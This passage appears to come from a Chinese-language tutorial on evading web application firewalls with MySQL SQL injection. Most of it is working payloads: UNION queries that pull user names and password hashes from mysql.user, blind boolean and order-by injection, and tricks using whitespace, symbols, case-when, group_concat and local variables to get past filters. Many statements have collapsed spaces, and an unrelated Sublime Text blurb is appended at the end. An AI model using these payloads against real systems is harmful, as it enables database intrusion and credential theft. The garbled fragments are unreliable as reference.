select id,title,links from freebuf where id=0e1union SELECT user,authentication_string,1e1from mysql.`user`;
3. 空白字符
MySQL5的空白字符是:
%09 %0A %0B %0C %0D %A0 %20
4. 特殊符号
4.1 +
select id,title from freebuf where id=8e0union (SELECT+1,(SELECT table_name from information_schema.tables where table_schema=database() LIMIT 0,1));
4.2 -
select id,title from freebuf where id=8e0union (SELECT-1,(SELECT table_name from information_schema.tables where table_schema=database() LIMIT 0,1));
4.3 反引号
select id,title from freebuf where id=8e0union (SELECT 1,(SELECT `table_name` from information_schema.tables where table_schema=database() LIMIT 0,1));
4.4 ~
select id,title from freebuf where id=8e0union (SELECT~1,(SELECT `table_name` from information_schema.tables where table_schema=database() LIMIT 0,1));
4.5 !
select id,title from freebuf where id=8e0union (SELECT!1,(SELECT `table_name` from information_schema.tables where table_schema=database() LIMIT 0,1));
4.6 @
select id,title from freebuf where id=8e0union (SELECT@user,(SELECT `table_name` from information_schema.tables where table_schema=database() LIMIT 0,1));
select id,title,links from freebuf where id=.1union(SELECT(1),(2),(table_name) from information_schema.tables where table_schema=database() LIMIT 0,1);
selectid,title from freebuf whereid=1 || (selectsubstr((select table_name from information_schema.tables where table_schema=database()),1,1))='f'limit0,1;
绕where where => case when then else end
selectid,title from freebuf whereid=1 || (selectsubstr((select (case table_schema WHEN'SecSpider'then table_name else'zzzzzzzzzz'END) as c from information_schema.tables groupby c limit1),1,1))='f'limit0,1;
绕limit limit => group by c having c=0
selectid,title from freebuf whereid=1 || (select((selectsubstr((select (case table_schema when'SecSpider'then table_name else'1'end) as c from information_schema.tables groupby c having c=0),1,1))='f') as d groupby d having d=1);
如果表名第一个字符为f,则返回正常数据,如果不为f则返回空。
绕group by group by => group_concat()
selectid,title from freebuf whereid=1 || (selectsubstr((selectreplace(group_concat(distinct(case table_schema when'SecSpider'then table_name else''end)), ",", "") from information_schema.tables),1,1)='f');
同上,如果表名第一个字符为f,则返回正常数据,如果不为f则返回为空。
绕select 其实是用了种取巧的方式即: select => into outfile 但实际上是用处不大的,这边就不做演示了
mid()select (selectmid(table_name,1,1) from information_schema.tables where table_schema=database() limit1)=lower(conv(14,10,36)); strcmp(left())selectstrcmp(left(table_name,1),'f') from information_schema.tables where table_schema=database() limit1;
select title from freebuf whereid=1unionselect table_name from mysql.innodb_table_stats where database_name=database() limit0,1; select title from freebuf whereid=1unionselect table_name from mysql.innodb_index_stats where database_name=database() limit0,1;
3.2 非常规注入方式
3.2.1 order by注入
为什么要把order by拉出来单独说呢,因为order by后面不能使用union。
主要是用盲注,有两种姿势,下面用布尔盲注来演示。
使用if来进行盲注:
select title from freebuf orderbyif((substr(user(),1,1)='a'),1,(select1from information_schema.tables));
select title from freebuf orderby (selectcasewhen(substr((select table_name from information_schema.tables where table_schema=database() limit0,1),1,1)='f') then1else1*(select1from information_schema.tables)end)=1limit0,1;
为什么要使用局部变量呢?其实使用局部变量就是为了更改SQL语句的逻辑,比如针对于语义的waf过滤了union select from,那么就可以使用局部变量将语义更改为select from union,从而绕过逻辑判断。
举个例子:
过滤了如下的逻辑:
select title from freebuf whereid=-1unionselect table_name from information_schema.tables where table_schema=database() limit0,1;
可以看到这里的逻辑为:
union selectfrom
利用局部变量可以更改这样的逻辑:
select title from freebuf whereid=1|@payload:=(select table_name from information_schema.tables where table_schema=database() limit0,1) unionselect @payload;
Sublime Text具有漂亮的用户界面和强大的功能,例如代码缩略图,Python的插件,代码段等。还可自定义键绑定,菜单和工具栏。Sublime Text 的主要功能包括:拼写检查,书签,完整的 Python API , Goto 功能,即时项目切换,多选择,多窗口等等。Sublime Text 是一个跨平台的编辑器,同时支持Windows、Linux、Mac OS X等操作系统。